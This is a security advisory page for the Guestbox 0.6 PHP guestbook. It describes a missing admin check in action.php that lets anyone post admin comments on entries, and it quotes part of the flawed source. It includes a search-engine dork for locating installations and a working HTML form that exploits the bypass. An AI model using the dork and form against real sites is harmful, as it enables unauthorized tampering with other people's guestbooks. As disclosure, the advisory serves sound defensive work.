Guestbox XSS/an admin bypass

2006.02.22
Credit: l0om
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

author.: l0om - www.excluded.org product: guestbox (latest non-BETA) 0.6 page: http://spring.realone.ch dork: "Login - Guestbox 0.6" inurl:guestbox.php someone asked me to check the guestbook named "guestbox" and thats the advisory based on my checks. 1.0 everyone can set admin comments to all entries -------------------------------------------------- in case of setting an admin comment to some gb entry you normaly have to log in as admin. as you can see in the sources down you dont need to be logged in as admin to set an admin comment because the programmer missed it to check the "$admin" value at this point of the switch case. simply create the following html document and post comments as admin: <html> <body> <center> <form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY _NUMBER"> <textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br> <input type="submit" name="submit" value="comment"> </form> </center> </body> </html> ---8<--- source:action.php ---8<--- [...] INCLUDE "gb_config.php"; INCLUDE "gb_functions.php"; switch ($_GET['action']) { case "comment" : if (isset($_POST['submit'])) { // // admin check???? // edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top